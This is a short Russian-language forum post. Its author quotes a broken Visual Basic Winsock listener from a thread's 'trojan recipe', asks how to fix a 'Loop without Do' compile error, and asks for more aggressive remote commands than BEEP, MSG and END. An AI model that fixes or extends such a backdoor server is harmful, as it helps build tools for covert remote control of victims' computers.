Товарисчи, в посте №8 этого топика рецептик троянчика есть – дык неувязочка у меня: при попытке компиляции сервера VB выдает ошибку: “Loop without Do” и ссылается на этот кусочек:

Private Sub Form_Load()
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub

Может, кто подскажет, чего там после Loop надо?
И хорошо бы еще каких ни будь команд, позабористей “BEEP”, “MSG” и “END”